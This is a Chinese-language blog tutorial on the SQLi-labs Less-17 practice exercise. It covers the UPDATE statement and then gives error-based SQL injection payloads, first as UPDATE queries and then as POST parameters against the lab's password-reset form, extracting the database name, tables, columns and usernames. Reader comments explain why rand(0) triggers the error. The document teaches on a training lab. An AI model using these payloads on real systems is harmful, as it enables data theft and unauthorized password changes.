零、前言
这节课将介绍一个新的sql命令(UPDATE),在才是之前我将分别介绍一下这两个之前没有遇到的知识点,注入的语句可能将的少一些,因为前面其实已经介绍的差不多了,大家完全可以举一反三,自己尝试构造一些复杂的语句。
一、Less-17测试
0x00:UPDATE语句测试
作用:Update 语句用于修改表中的数据。
语法:UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
例句:修改users表中名为inputuser的数据
UPDATE users SET password = inputpass WHERE username = inputuser
注:其中“SET 列名称 = 新值”新值可以为逻辑运算的结果(True or False)
接下来将前面学过的报错语句放到update语句中测试
获取数据库名
UPDATE users SET password = 'admin' WHERE password = (select 1 from (select count(*), (concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b);
获取表名
UPDATE users SET password = 'admin' WHERE password = (select 1 from (select count(*), (concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);
获取列名
UPDATE users SET password = 'admin' WHERE password = (select 1 from (select count(*), (concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) ;
获取数据
UPDATE users SET password = 'admin' WHERE password = (select 1 from (select count(*), (concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);
0x01:前端注入测试
打开测试页面,是一个密码修改的功能
username输入admin,New Password输入123,admin的用户密码被修改
然后开始测试注入,在User Name的输入框输入admin'发现修改失败,User Name框可能没有注入,然后在New Password框注入123'发现报错,说明这个位置有注入漏洞。
这时可以猜测其后台sql语句为:
UPDATA table SET password=’inputpass’ WHERE username=’inputuser’
接下来的注入测试都在hackbar中进行,将刚才在mysql中测试的sql搬过来直接测试
uname=admin&passwd=123' AND (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
uname=admin&passwd=123' AND (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b)#&submit=Submit
uname=admin&passwd=123' AND (select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
uname=admin&passwd=123' AND (select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
这样整个注入过程就算完成了。
受益匪浅,这一系列写的非常详细,感谢博主!
可惜现在没时间更新,等这阵忙完了,一并补回来
哈哈哈哈,等更新。给dalao递女装
对了,在报错注入的时候如果用rand(0),百分百会报错。0是随机数种子,我写了一点分析,给大佬看下提供下思路。http://chiahao.top/?p=130
技术问题现在没时间研究,这里有个以前看过的解释,也许对你有帮助: —————–分割线—————-count应该是影响了随机数,如count统计的时候会过一遍group里面的东西,统计一下,但是又因为是随机数,我认为是count的过程中,这些随机数会再次改变,导致duplicateEntry(如果随机数范围大那么就不会出问题,相反就容易重复)。我的理解是:在mysql做count(*)的时候,rand(0)*2会被再计算一遍,这次的结果未必与临时表中的结果保持一致,因此出现了duplicate Entry。